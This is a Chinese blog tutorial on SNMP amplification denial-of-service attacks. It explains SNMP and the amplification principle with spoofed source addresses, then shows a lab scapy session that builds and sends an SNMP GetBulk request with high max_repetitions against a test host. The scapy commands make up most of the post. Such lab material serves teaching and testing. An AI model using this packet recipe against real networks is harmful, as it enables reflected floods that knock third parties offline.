美文网首页
二十八、拒绝服务--(6)SNMP放大攻击

二十八、拒绝服务--(6)SNMP放大攻击

作者: cybeyond | 来源:发表于2018-09-14 16:39 被阅读0次

1、SNMP简单网络管理协议

  • 服务端口UDP161/162(服务端抓客户端信息,客户端port为161;客户端trap方式主动发往服务端,服务端port为162)
  • 管理站(manager/客户端)、被管理设备(agent/服务端)
  • 管理信息数据库(MIB)是一个信息存储库,包含过管理代理中的有关配置和性能的数据,按照不同分类,包含分属不同组的多个数据对象
  • 每一个节点都有一个对象标识符(OID)唯一的标识
  • IETF定义标准的MIB库/厂家自定义MIB库

2、攻击原理

  • 请求流量小,查询结果返回流量大
  • 结合伪造源地址实现攻击

3、测试

测试图
  • 首先在windows server2003上安装snmp服务,命令行下输入appwiz.cpl
    安装snmp
配置snmp

使用scapy

>>> i=IP()
>>> i.dst="192.168.50.193"
>>> i.display()
###[ IP ]### 
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags= 
  frag= 0
  ttl= 64
  proto= hopopt
  chksum= None
  src= 192.168.50.192
  dst= 192.168.50.193 //目标snmpclient地址
  \options\

定义udp

>>> u=UDP()
>>> u.dport=161
>>> u.sport=161
>>> u.display()
###[ UDP ]### 
  sport= snmp
  dport= snmp
  len= None
  chksum= None

定义snmp

>>> s.community="snmpclient“
>>> s.community="snmpclient"
>>> s.display()
###[ SNMP ]### 
  version= 0x1 <ASN1_INTEGER[1]>
  community= 'snmpclient'
  \PDU\
   |###[ SNMPget ]### 
   |  id= 0x0 <ASN1_INTEGER[0]>
   |  error= 0x0 <ASN1_INTEGER[0]>
   |  error_index= 0x0 <ASN1_INTEGER[0]>
   |  \varbindlist\

设置SNMP的bulk

>>> b=SNMPbulk()
>>> b.display()
###[ SNMPbulk ]### 
  id= 0x0 <ASN1_INTEGER[0]>
  non_repeaters= 0x0 <ASN1_INTEGER[0]>
  max_repetitions= 0x0 <ASN1_INTEGER[0]>
  \varbindlist\
>>> b.max_repetitions=200 //重复发送200遍查询

设置SNMP的PDU

>>> s.PDU=b
>>> b.varbindlist=[SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.1')),SNMPvarbind(oid=ASN1_OID('1.3.6.1.2.1.19.1.3'))]>>> s.PDU=b
>>> s.display()
###[ SNMP ]### 
  version= 0x1 <ASN1_INTEGER[1]>
  community= 'snmpclient'
  \PDU\
   |###[ SNMPbulk ]### 
   |  id= 0x0 <ASN1_INTEGER[0]>
   |  non_repeaters= 0x0 <ASN1_INTEGER[0]>
   |  max_repetitions= 100
   |  \varbindlist\
   |   |###[ SNMPvarbind ]### 
   |   |  oid= <ASN1_OID['.1.3.6.1.2.1.1']>
   |   |  value= <ASN1_NULL[0]>
   |   |###[ SNMPvarbind ]### 
   |   |  oid= <ASN1_OID['.1.3.6.1.2.1.19.1.3']>
   |   |  value= <ASN1_NULL[0]>

发送snmp包

>>> r=(i/u/s)
>>> sr1(r)

查看发送200遍的结果


snmp抓包结果

相关文章

网友评论

      本文标题:二十八、拒绝服务--(6)SNMP放大攻击

      本文链接:https://www.haomeiwen.com/subject/aosogftx.html